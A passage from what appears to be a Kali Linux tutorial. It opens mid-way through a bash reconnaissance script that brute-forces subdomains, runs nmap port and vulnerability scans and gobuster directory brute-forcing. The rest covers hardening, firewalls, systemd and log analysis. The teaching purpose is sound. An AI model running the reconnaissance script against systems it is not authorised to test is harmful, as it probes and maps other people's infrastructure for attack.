host "$sub.$domain" >/dev/null 2>&1 && echo "$sub.$domain" >> "$outdir/subdomains_brute.txt"
done < /usr/share/wordlists/dirb/common.txt
fi
# Combine and sort subdomains
cat "$outdir"/subdomains_*.txt 2>/dev/null | sort -u > "$outdir/subdomains_all.txt"
success "OSINT phase complete. Found $(wc -l < "$outdir/subdomains_all.txt") subdomains"
}
# Scanning Phase
phase_scanning() {
local target=$1
local outdir="$workspace/scanning"
info "Starting scanning phase for $target"
# Check if target is IP or domain
if [[ $target =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
# IP address
log "Target is IP: $target"
else
# Domain - resolve to IP
target_ip=$(dig +short "$target" | head -1)
if [ -z "$target_ip" ]; then
error "Could not resolve $target"
return 1
fi
log "Resolved $target to $target_ip"
echo "$target_ip" > "$outdir/target_ip.txt"
fi
# Port scanning
log "Running port scan on $target_ip..."
# Quick port scan
nmap -T4 -F -oA "$outdir/quick_scan" "$target_ip" >/dev/null 2>&1
# Full port scan
log "Running full port scan (this may take a while)..."
nmap -T4 -p- -oA "$outdir/full_scan" "$target_ip" >/dev/null 2>&1
# Service detection
if [ -f "$outdir/full_scan.gnmap" ]; then
open_ports=$(grep -oP '\d+/open' "$outdir/full_scan.gnmap" | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//')
if [ -n "$open_ports" ]; then
log "Found open ports: $open_ports"
log "Running service detection..."
nmap -sV -sC -p "$open_ports" -oA "$outdir/service_scan" "$target_ip" >/dev/null 2>&1
fi
fi
# Vulnerability scanning
log "Running vulnerability scan..."
nmap --script vuln -p "$open_ports" -oA "$outdir/vuln_scan" "$target_ip" >/dev/null 2>&1
success "Scanning phase complete"
}
# Web Application Phase
phase_web() {
local target=$1
local outdir="$workspace/web"
info "Starting web application phase for $target"
# Check for web servers
web_ports=$(grep -E "80/open|443/open|8080/open|8443/open" "$workspace/scanning/service_scan.gnmap" 2>/dev/null | cut -d/ -f1)
if [ -n "$web_ports" ]; then
for port in $web_ports; do
protocol=$([ "$port" = "443" ] || [ "$port" = "8443" ] && echo "https" || echo "http")
url="${protocol}://$target:$port"
log "Testing $url"
# HTTP headers
curl -s -I -L "$url" > "$outdir/headers_port${port}.txt" 2>&1
# Directory brute force
if command -v gobuster >/dev/null; then
gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -o "$outdir/dirs_port${port}.txt" >/dev/null 2>&1
fi
# Technology detection
if command -v whatweb >/dev/null; then
whatweb "$url" > "$outdir/whatweb_port${port}.txt" 2>&1
fi
# SSL/TLS check for HTTPS
if [ "$protocol" = "https" ]; then
echo | openssl s_client -connect "$target:$port" 2>/dev/null | openssl x509 -text > "$outdir/cert_port${port}.txt"
fi
done
success "Web phase complete"
else
warn "No web servers detected"
fi
}
# Generate Report
generate_report() {
local target=$1
local report="$workspace/recon_report.html"
info "Generating HTML report..."
cat > "$report" << EOF
<!DOCTYPE html>
<html>
<head>
<title>Reconnaissance Report: $target</title>
<style>
body { font-family: Arial, sans-serif; margin: 30px; background: #f5f5f5; }
h1 { color: #2c3e50; border-bottom: 2px solid #3498db; }
h2 { color: #34495e; margin-top: 30px; }
.section { background: white; padding: 20px; margin: 20px 0; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
.timestamp { color: #7f8c8d; font-size: 0.9em; }
pre { background: #ecf0f1; padding: 10px; border-radius: 3px; overflow-x: auto; }
.success { color: #27ae60; }
.warning { color: #e67e22; }
.error { color: #c0392b; }
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #bdc3c7; padding: 8px; text-align: left; }
th { background: #34495e; color: white; }
</style>
</head>
<body>
<h1>Reconnaissance Report: $target</h1>
<p class="timestamp">Generated: $(date)</p>
<p class="timestamp">Workspace: $workspace</p>
<div class="section">
<h2>Target Information</h2>
<table>
<tr><th>Property</th><th>Value</th></tr>
<tr><td>Target</td><td>$target</td></tr>
<tr><td>Resolution</td><td>$(cat "$workspace/scanning/target_ip.txt" 2>/dev/null || echo "N/A")</td></tr>
</table>
</div>
<div class="section">
<h2>OSINT Summary</h2>
<p>Subdomains found: $(wc -l < "$workspace/osint/subdomains_all.txt" 2>/dev/null || echo "0")</p>
<pre>$(head -20 "$workspace/osint/subdomains_all.txt" 2>/dev/null)</pre>
<p><a href="osint/">View detailed OSINT results</a></p>
</div>
<div class="section">
<h2>Open Ports</h2>
<pre>$(grep -E "^[0-9]+/tcp" "$workspace/scanning/service_scan.nmap" 2>/dev/null | sort)</pre>
</div>
<div class="section">
<h2>Service Versions</h2>
<pre>$(grep -E "Service Info|OS details" "$workspace/scanning/service_scan.nmap" 2>/dev/null)</pre>
</div>
<div class="section">
<h2>Web Applications</h2>
<pre>$(ls -la "$workspace/web/" 2>/dev/null || echo "No web applications found")</pre>
</div>
<div class="section">
<h2>Potential Vulnerabilities</h2>
<pre>$(grep -E "VULNERABLE|CVE-" "$workspace/scanning/vuln_scan.nmap" 2>/dev/null | head -20)</pre>
</div>
<div class="section">
<h2>Reconnaissance Log</h2>
<pre>$(tail -50 "$workspace/recon.log")</pre>
</div>
<p class="timestamp">End of report</p>
</body>
</html>
EOF
success "Report generated: $report"
# Open in browser if GUI available
if [ -n "$DISPLAY" ] && command -v xdg-open >/dev/null; then
xdg-open "$report"
fi
}
# Main execution
main() {
local target=$1
if [ -z "$target" ]; then
echo "Usage: $0 <target>"
exit 1
fi
# Check required tools
local required_tools=("nmap" "dig" "host" "curl")
local missing=()
for tool in "${required_tools[@]}"; do
if ! command -v "$tool" >/dev/null; then
missing+=("$tool")
fi
done
if [ ${#missing[@]} -gt 0 ]; then
error "Missing required tools: ${missing[*]}"
error "Install with: apt install nmap dnsutils curl"
exit 1
fi
# Setup workspace
workspace=$(setup_workspace "$target")
info "Workspace created: $workspace"
# Run phases
phase_osint "$target"
phase_scanning "$target"
phase_web "$target"
# Generate report
generate_report "$target"
success "Reconnaissance complete!"
info "Results saved in: $workspace"
}
# Run if executed directly
if [ "$0" = "$BASH_SOURCE" ]; then
main "$@"
fiSystem hardening is the process of securing a Linux system by reducing its attack surface and implementing security best practices. For penetration testers, understanding hardening is crucial both for securing their own Kali systems and for identifying misconfigurations in target environments.
Principle of Least Privilege: Every process and user should have only the minimum privileges necessary to function. This fundamental security principle guides all hardening efforts.
Attack Surface Reduction: The fewer services, packages, and features running on a system, the fewer potential vulnerabilities exist. Each enabled service represents a potential entry point for attackers.
Defense in Depth: Multiple layers of security controls ensure that if one layer fails, others still provide protection. This includes firewalls, file permissions, authentication controls, and monitoring.
Minimal Installation Philosophy:
# During installation, select only necessary packages
# Avoid installing unnecessary metapackages
apt install --no-install-recommends package-name
# Remove unnecessary packages after installation
apt autoremove --purge
# Identify and remove unused services
systemctl list-unit-files --type=service --state=enabled
systemctl disable --now bluetooth.service cups.service avahi-daemon.serviceSecure Boot Parameters:
# Edit GRUB configuration
cat >> /etc/default/grub << EOF
# Security hardening options
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash slab_nomerge init_on_alloc=1 init_on_free=1 page_alloc.shuffle=1 pti=on randomize_kstack_offset=on spec_store_bypass_disable=on spectre_v2=on"
EOF
update-grubFilesystem Mount Options:
# Secure mount options in /etc/fstab
# /tmp should be mounted with noexec,nosuid,nodev
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0
# /var/tmp similarly
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev,size=1G 0 0
# /home with nodev,nosuid
/dev/sda5 /home ext4 defaults,nodev,nosuid 0 2
# Apply without reboot
mount -o remount /tmp
mount -o remount /var/tmpKernel Hardening with sysctl:
# /etc/sysctl.d/99-hardening.conf
# IP Spoofing protection
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
# Ignore source routed packets
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
# SYN flood protection
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_synack_retries = 2
# IP forwarding disabling (unless needed)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0
# Log Martians (spoofed, source-routed, redirects)
net.ipv4.conf.all.log_martians = 1
# Ignore ICMP pings
net.ipv4.icmp_echo_ignore_all = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
# Apply settings
sysctl -p /etc/sysctl.d/99-hardening.confPassword Policy Configuration:
# Install libpam-pwquality
apt install libpam-pwquality
# Configure password quality
cat >> /etc/security/pwquality.conf << EOF
minlen = 14
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
minclass = 4
maxrepeat = 3
gecoscheck = 1
EOF
# Configure password aging in /etc/login.defs
PASS_MAX_DAYS 90
PASS_MIN_DAYS 7
PASS_WARN_AGE 14Account Lockout Policy:
# Configure pam_tally2 for login failures
cat >> /etc/pam.d/common-auth << EOF
auth required pam_tally2.so deny=5 onerr=fail unlock_time=900
EOF
cat >> /etc/pam.d/common-account << EOF
account required pam_tally2.so
EOFSudoers Hardening:
# Secure sudo configuration
visudo -f /etc/sudoers.d/hardening
# Add these lines:
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults use_pty
Defaults logfile="/var/log/sudo.log"
Defaults log_input,log_output
Defaults requiretty
# Restrict sudo to specific users and commands
user ALL=(ALL) ALL # Too permissive - avoid
user ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/journalctl # BetterComprehensive SSH Hardening:
# /etc/ssh/sshd_config hardening
cat >> /etc/ssh/sshd_config << 'EOF'
# Protocol and Port
Protocol 2
Port 2222 # Change from default
# Authentication
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no
UsePAM yes
# Key types
HostKey /etc/ssh/ssh_host_ed25519_key
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
# Access control
AllowUsers analyst john
AllowGroups sshusers
DenyUsers root bin daemon
DenyGroups guests
# Security settings
LoginGraceTime 30
MaxAuthTries 3
MaxSessions 10
MaxStartups 10:30:60
ClientAliveInterval 300
ClientAliveCountMax 2
PermitUserEnvironment no
PrintMotd no
PrintLastLog yes
Banner /etc/issue.net
# Forwarding
AllowTcpForwarding no
X11Forwarding no
AllowAgentForwarding no
PermitTunnel no
# Logging
SyslogFacility AUTH
LogLevel VERBOSE
# Ciphers and algorithms (strong only)
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
EOF
# Create login banner
cat > /etc/issue.net << EOF
*******************************************************************
NOTICE: This system is for authorized use only. All activities are
monitored and logged. Unauthorized access is prohibited and will be
prosecuted to the fullest extent of the law.
*******************************************************************
EOF
# Restart SSH
systemctl restart sshdAIDE (Advanced Intrusion Detection Environment):
# Install AIDE
apt install aide aide-common
# Configure AIDE
cat >> /etc/aide/aide.conf << EOF
# Define rules
DATABASE_OUT=file:/var/lib/aide/aide.db
DATABASE_IN=file:/var/lib/aide/aide.db
# What to check
/bin Content
/sbin Content
/etc Content
/usr/bin Content
/usr/sbin Content
/boot Content
/lib Content
/lib64 Content
/opt Content
# Exclude some directories
!/var/log
!/var/tmp
!/tmp
!/proc
!/sys
!/dev
!/run
!/mnt
!/media
!/home # Optional - exclude home directories
EOF
# Initialize database
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Check integrity
aide --check
# Add to cron for regular checks
echo "0 5 * * * /usr/bin/aide --check | mail -s 'AIDE Daily Report' root" >> /etc/crontabFile Integrity Monitoring with Tripwire (alternative):
# Install Tripwire
apt install tripwire
# Configure during installation
# Set site and local passphrases
twadmin --create-polfile /etc/tripwire/twpol.txt
# Initialize database
tripwire --init
# Check integrity
tripwire --check
# Update database after legitimate changes
tripwire --update --twrfile /var/lib/tripwire/report/$(ls -t /var/lib/tripwire/report/ | head -1)Process Accounting:
# Install process accounting
apt install acct
# Enable accounting
systemctl enable acct
systemctl start acct
# View accounting data
sa # Summary of commands run
lastcomm # Last commands executed
lastcomm user # Commands by specific user
lastcomm command # Usage of specific commandComprehensive Auditing with auditd:
# Install auditd
apt install auditd audispd-plugins
# Configure auditd
cat > /etc/audit/rules.d/hardening.rules << EOF
# Remove existing rules
-D
# Buffer size
-b 8192
# Failure mode
-f 1
# Monitor time changes
-w /etc/localtime -p wa -k time-change
-w /etc/timezone -p wa -k time-change
# Monitor user/group changes
-w /etc/passwd -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/sudoers -p wa -k identity
# Monitor network configuration
-w /etc/network/ -p wa -k network
-w /etc/hosts -p wa -k network
-w /etc/resolv.conf -p wa -k network
# Monitor system configuration
-w /etc/sysctl.conf -p wa -k sysctl
-w /etc/security/ -p wa -k security
# Monitor login/logout
-w /var/log/lastlog -p wa -k logins
-w /var/run/faillock/ -p wa -k logins
# Monitor process creation
-a always,exit -S execve -k process
# Monitor file access
-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EACCES -k access
-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EPERM -k access
# Monitor module loading
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-a always,exit -S init_module -S delete_module -k modules
# Mount operations
-a always,exit -F arch=b64 -S mount -S umount2 -k mount
# Record all commands as root
-a exit,always -F arch=b64 -S execve -F euid=0 -k rootcmd
EOF
# Apply rules
augenrules --load
systemctl enable auditd
systemctl restart auditd
# Search audit logs
ausearch -k identity # Search by key
ausearch -ua 1000 # Search by user ID
ausearch -ts today # Time-based search
aureport --login # Login report
aureport --summary # Summary reportTCP Wrappers (legacy but still useful):
# /etc/hosts.allow
sshd: 192.168.1.0/24, 10.0.0.0/8
vsftpd: .example.com
# /etc/hosts.deny
ALL: ALL # Deny everything not explicitly allowedPort Knocking for service protection:
# Install knockd
apt install knockd
# Configure knockd
cat > /etc/knockd.conf << EOF
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
EOF
# Enable and start knockd
systemctl enable knockd
systemctl start knockdDocker Security:
# Run containers with minimal privileges
docker run --read-only --tmpfs /tmp --cap-drop ALL --cap-add NET_BIND_SERVICE nginx
# Use Docker Bench Security
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
./docker-bench-security.sh
# Scan images for vulnerabilities
docker scan image-name
trivy image image-nameAppArmor Profiles for Applications:
# Create custom AppArmor profile for nginx
cat > /etc/apparmor.d/usr.sbin.nginx << EOF
#include <tunables/global>
/usr/sbin/nginx {
#include <abstractions/base>
#include <abstractions/nameservice>
capability dac_override,
capability net_bind_service,
capability setgid,
capability setuid,
/etc/nginx/** r,
/var/log/nginx/** w,
/var/lib/nginx/** rwk,
/run/nginx.pid rw,
/usr/sbin/nginx mr,
deny /etc/shadow r,
deny /etc/security/** r,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/usr.sbin.nginxFirewalls are essential for controlling network traffic and protecting systems from unauthorized access.
iptables Architecture:
iptables organizes rules into tables, chains, and rules:
- Tables: filter (packet filtering), nat (Network Address Translation), mangle (packet modification), raw (connection tracking)
- Chains: PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING
- Rules: Match criteria + target (ACCEPT, DROP, REJECT, LOG)
Basic iptables Commands:
# List rules
iptables -L -n -v
iptables -t nat -L -n -v
# Flush all rules
iptables -F
iptables -t nat -F
iptables -t mangle -F
# Delete specific rule
iptables -D INPUT 5 # Delete rule 5 in INPUT chain
# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPTBuilding a Stateful Firewall:
#!/bin/bash
# Basic stateful firewall script
# Flush existing rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t mangle -F
# Set default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# SSH (rate limited)
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 2222 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# Web server (if applicable)
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# DNS
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A INPUT -p tcp --dport 53 -j ACCEPT
# ICMP (limited)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT
# Log dropped packets
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROP: " --log-level 4
# Save rules
iptables-save > /etc/iptables/rules.v4Advanced iptables Rules:
# Connection limiting
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
# String matching (layer 7 filtering)
iptables -A FORWARD -p tcp --dport 80 -m string --string "cmd.exe" --algo bm -j DROP
# Time-based rules
iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT
# GeoIP blocking (requires xtables-addons)
iptables -A INPUT -m geoip --src-cc CN,RU -j DROP
# Port knocking
iptables -N KNOCKING
iptables -A INPUT -p tcp --dport 7000 -m recent --name KNOCK1 --set -j DROP
iptables -A INPUT -p tcp --dport 8000 -m recent --name KNOCK1 --rcheck -m recent --name KNOCK2 --set -j DROP
iptables -A INPUT -p tcp --dport 9000 -m recent --name KNOCK2 --rcheck -m recent --name SSH -j DROP
iptables -A INPUT -m recent --name SSH --rcheck -p tcp --dport 22 -j ACCEPTnftables is the modern replacement for iptables, providing a unified framework with simpler syntax and better performance.
nftables Concepts:
- Tables: Containers for chains (like iptables tables)
- Chains: Ordered lists of rules (with types: filter, nat, route)
- Rules: Matching criteria and actions
- Sets: Groups of elements for efficient matching
Basic nftables Configuration:
# Install nftables
apt install nftables
# Enable nftables
systemctl enable nftables
systemctl start nftables
# Basic ruleset
cat > /etc/nftables.conf << EOF
#!/usr/sbin/nft -f
flush ruleset
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
# Allow loopback
iif lo accept
# Allow established connections
ct state {established, related} accept
# SSH
tcp dport 2222 accept
# ICMP (limited)
icmp type echo-request limit rate 1/second accept
# Log drops
log prefix "NFTABLES-DROP: " counter drop
}
chain forward {
type filter hook forward priority 0; policy drop;
}
chain output {
type filter hook output priority 0; policy accept;
}
}
table inet nat {
chain prerouting {
type nat hook prerouting priority 0; policy accept;
}
chain postrouting {
type nat hook postrouting priority 100; policy accept;
oif eth0 masquerade
}
}
EOF
# Apply rules
nft -f /etc/nftables.confAdvanced nftables Examples:
# Create table with families
nft add table inet firewall
nft add table ip raw
# Add chains
nft add chain inet firewall input { type filter hook input priority 0\; policy drop\; }
# Add sets for efficient matching
nft add set inet firewall whitelist { type ipv4_addr\; elements = { 192.168.1.100, 10.0.0.5 }\; }
nft add set inet firewall blacklist { type ipv4_addr\; flags timeout\; }
# Add rules using sets
nft add rule inet firewall input ip saddr @whitelist accept
nft add rule inet firewall input ip saddr @blacklist drop
# Rate limiting
nft add rule inet firewall input tcp dport 2222 meter ssh-meter { ip saddr limit rate 10/minute } accept
# NAT with nftables
nft add table ip nat
nft add chain ip nat prerouting { type nat hook prerouting priority 0\; }
nft add chain ip nat postrouting { type nat hook postrouting priority 100\; }
nft add rule ip nat postrouting oif eth0 masquerade
# Port forwarding
nft add rule ip nat prerouting tcp dport 8080 redirect to 80
nft add rule ip nat prerouting tcp dport 2222 dnat to 192.168.1.100:22Converting iptables to nftables:
# Convert iptables rules to nftables
iptables-restore-translate -f /etc/iptables/rules.v4
# Automatic migration tool
apt install iptables-nftables-compat
iptables-nftables-convertUFW (Uncomplicated Firewall) - Frontend for iptables:
# Install UFW
apt install ufw
# Basic configuration
ufw default deny incoming
ufw default allow outgoing
# Allow specific services
ufw allow ssh
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow from 192.168.1.0/24 to any port 3306
# Rate limiting
ufw limit ssh
# Enable logging
ufw logging on
# Enable firewall
ufw enable
# Check status
ufw status verbose
# Advanced rules
ufw allow proto tcp from 10.0.0.0/8 to any port 22
ufw deny proto udp from any to any port 53
# Application profiles
ufw app list
ufw allow 'Nginx Full'Firewalld - Dynamic firewall manager:
# Install firewalld
apt install firewalld
# Basic zones
firewall-cmd --get-default-zone
firewall-cmd --set-default-zone=public
# Service management
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-port=8080/tcp --permanent
# Rich rules
firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port port="22" protocol="tcp" accept' --permanent
# Reload
firewall-cmd --reload
# List all rules
firewall-cmd --list-allsystemd is the init system and service manager used by Kali Linux and most modern Linux distributions.
Systemd Units:
- Service units:
.service- System services - Socket units:
.socket- IPC or network sockets - Target units:
.target- Group of units (like runlevels) - Timer units:
.timer- Scheduled tasks (cron replacement) - Mount units:
.mount- Filesystem mount points - Path units:
.path- File system path monitoring
Basic systemd Commands:
# Service management
systemctl start service-name
systemctl stop service-name
systemctl restart service-name
systemctl reload service-name
systemctl status service-name
# Enable/disable at boot
systemctl enable service-name
systemctl disable service-name
systemctl mask service-name # Prevent any activation
systemctl unmask service-name
# List units
systemctl list-units
systemctl list-unit-files
systemctl list-dependencies service-name
# System state
systemctl get-default
systemctl set-default multi-user.target
systemctl reboot
systemctl poweroff
systemctl suspend
systemctl hibernateBasic Service Template:
# /etc/systemd/system/custom-service.service
cat > /etc/systemd/system/custom-service.service << EOF
[Unit]
Description=My Custom Service
After=network.target
Wants=network.target
[Service]
Type=simple
User=analyst
Group=analyst
WorkingDirectory=/opt/custom-service
ExecStart=/usr/bin/python3 /opt/custom-service/app.py
ExecReload=/bin/kill -HUP \$MAINPID
Restart=on-failure
RestartSec=10
StandardOutput=journal
StandardError=journal
SyslogIdentifier=custom-service
[Install]
WantedBy=multi-user.target
EOF
# Reload systemd
systemctl daemon-reload
# Enable and start
systemctl enable custom-service
systemctl start custom-serviceService Types:
# Simple (default) - main process is ExecStart
Type=simple
# Forking - process forks, parent exits
Type=forking
PIDFile=/run/service.pid
# Oneshot - runs once and exits
Type=oneshot
RemainAfterExit=yes
# Notify - sends notification when ready
Type=notify
NotifyAccess=all
# Idle - delays execution until jobs are done
Type=idleEnvironment Variables and Security:
cat > /etc/systemd/system/secure-service.service << EOF
[Unit]
Description=Secure Service
After=network.target
[Service]
Type=simple
User=service-user
Group=service-group
# Environment
Environment="PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
EnvironmentFile=/etc/service/config
# Security hardening
PrivateTmp=yes
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
ReadWritePaths=/var/lib/service
ReadOnlyPaths=/
RestrictSUIDSGID=yes
RestrictRealtime=yes
RestrictNamespaces=yes
MemoryDenyWriteExecute=yes
SystemCallFilter=~@privileged @resources
# Execute
ExecStart=/usr/bin/python3 /opt/service/app.py
[Install]
WantedBy=multi-user.target
EOFTimer Unit Example:
# /etc/systemd/system/backup.service
cat > /etc/systemd/system/backup.service << EOF
[Unit]
Description=Backup Service
[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup-script.sh
User=backup-user
EOF
# /etc/systemd/system/backup.timer
cat > /etc/systemd/system/backup.timer << EOF
[Unit]
Description=Run backup daily
Requires=backup.service
[Timer]
OnCalendar=daily
Persistent=true
RandomizedDelaySec=1800
[Install]
WantedBy=timers.target
EOF
# Enable timer
systemctl enable backup.timer
systemctl start backup.timer
systemctl list-timersCalendar Event Expressions:
# Various timing options
OnCalendar=*-*-* 00:00:00 # Daily at midnight
OnCalendar=Mon *-*-* 09:00:00 # Mondays at 9am
OnCalendar=*-*-01 00:00:00 # First of month
OnCalendar=*:0/15 # Every 15 minutes
# Relative timers
OnBootSec=10min # 10 minutes after boot
OnUnitActiveSec=1h # 1 hour after last activation
# Combined
OnCalendar=Mon..Fri 09:00:00
OnBootSec=5min
RandomizedDelaySec=300Journal Management:
# View logs
journalctl
journalctl -u service-name
journalctl -u ssh.service -f # Follow mode
journalctl --since "1 hour ago"
journalctl --since "2024-01-01" --until "2024-01-02"
# Filter by priority
journalctl -p err -b # Errors since boot
journalctl -p warning
# Output formats
journalctl -o verbose
journalctl -o json
journalctl -o export
# Maintenance
journalctl --vacuum-size=500M # Reduce log size
journalctl --vacuum-time=7d # Keep 7 days
journalctl --rotate # Rotate journals
# Persistent logging
mkdir -p /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journalResource Control:
# /etc/systemd/system/resource-limited.service
[Service]
CPUQuota=50%
MemoryMax=500M
TasksMax=100
IOWeight=10
# Apply limits to existing service
systemctl set-property nginx.service CPUQuota=50% MemoryMax=500MSocket Activation:
# /etc/systemd/system/echo.socket
cat > /etc/systemd/system/echo.socket << EOF
[Unit]
Description=Echo Socket
[Socket]
ListenStream=7777
Accept=yes
[Install]
WantedBy=sockets.target
EOF
# /etc/systemd/system/echo@.service
cat > /etc/systemd/system/echo@.service << EOF
[Unit]
Description=Echo Service
[Service]
ExecStart=-/usr/bin/cat
StandardInput=socket
StandardError=journal
EOF
# Enable socket
systemctl enable echo.socket
systemctl start echo.socketSystemd Targets:
# View targets
systemctl list-units --type=target
# Common targets
multi-user.target # Multi-user, non-graphical
graphical.target # Graphical interface
rescue.target # Single-user rescue mode
emergency.target # Emergency shell
# Create custom target
cat > /etc/systemd/system/custom.target << EOF
[Unit]
Description=My Custom Target
Requires=multi-user.target
After=multi-user.target
AllowIsolate=yes
EOF
# Isolate to target
systemctl isolate custom.targetLog analysis is critical for security monitoring, incident response, and system troubleshooting.
Log Locations:
/var/log/syslog # General system log
/var/log/auth.log # Authentication log
/var/log/kern.log # Kernel log
/var/log/dpkg.log # Package management
/var/log/apt/ # APT logs
/var/log/nginx/ # Web server logs
/var/log/mysql/ # Database logs
/var/log/postgresql/ # PostgreSQL logs
/var/log/mail.log # Mail server logs
/var/log/cron.log # Cron job logs
/var/log/daemon.log # Daemon logs
/var/log/debug # Debug messages
/var/log/messages # Informational messagesrsyslog Configuration:
# /etc/rsyslog.conf
cat /etc/rsyslog.conf
# Template for custom log format
cat > /etc/rsyslog.d/custom.conf << EOF
\$template CustomFormat,"%timestamp% %hostname% %syslogtag% %msg%\n"
*.* /var/log/custom.log;CustomFormat
# Remote logging
*.* @logserver.example.com:514
*.* @@logserver.example.com:10514 # TCP
# Filtering
if \$programname == 'sshd' then /var/log/sshd.log
& ~ # Stop processing
EOF
systemctl restart rsyslogCommand-line Log Analysis:
# Basic log viewing
tail -f /var/log/auth.log
less /var/log/syslog
grep "Failed password" /var/log/auth.log
# Extract specific fields
cat /var/log/auth.log | awk '/Failed password/ {print $1,$2,$3,$9,$11}'
# Count occurrences
grep -c "Failed password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
# Time-based analysis
grep "$(date +%b\ %d)" /var/log/auth.log # Today's logs
grep "$(date +%b\ %d --date='yesterday')" /var/log/auth.log
# Correlation
grep "Accepted publickey" /var/log/auth.log | awk '{print $9}' | sort | uniq -cLogwatch - Automated Log Analysis:
# Install logwatch
apt install logwatch
# Configure
cat > /etc/logwatch/conf/logwatch.conf << EOF
Output = mail
MailTo = admin@example.com
MailFrom = logwatch@localhost
Detail = High
Service = All
Range = yesterday
Format = html
EOF
# Run manually
logwatch --detail High --range today --service sshd --output stdout
# Schedule daily report
echo "0 6 * * * /usr/sbin/logwatch" >> /etc/crontablnav - Interactive Log Viewer:
# Install lnav
apt install lnav
# View multiple logs
lnav /var/log/syslog /var/log/auth.log
# lnav commands
# / - search
# n/N - next/previous search result
# : - enter command
# q - quit
# lnav filters
lnav -c ":filter add 'Failed password'" /var/log/auth.log
lnav -c ":filter out 'Accepted'" /var/log/auth.logLog Analysis with Python:
#!/usr/bin/env python3
# ssh_log_analyzer.py
import re
from collections import Counter
from datetime import datetime
def analyze_ssh_log(logfile):
failed_attempts = []
successful_logins = []
ip_pattern = r'(\d+\.\d+\.\d+\.\d+)'
with open(logfile, 'r') as f:
for line in f:
# Failed password attempts
if 'Failed password' in line:
ip = re.search(ip_pattern, line)
if ip:
failed_attempts.append(ip.group(1))
# Successful logins
elif 'Accepted' in line:
user = re.search(r'for (\w+)', line)
ip = re.search(ip_pattern, line)
if user and ip:
successful_logins.append({
'user': user.group(1),
'ip': ip.group(1),
'time': ' '.join(line.split()[:3])
})
return failed_attempts, successful_logins
failed, success = analyze_ssh_log('/var/log/auth.log')
print(f"Total failed attempts: {len(failed)}")
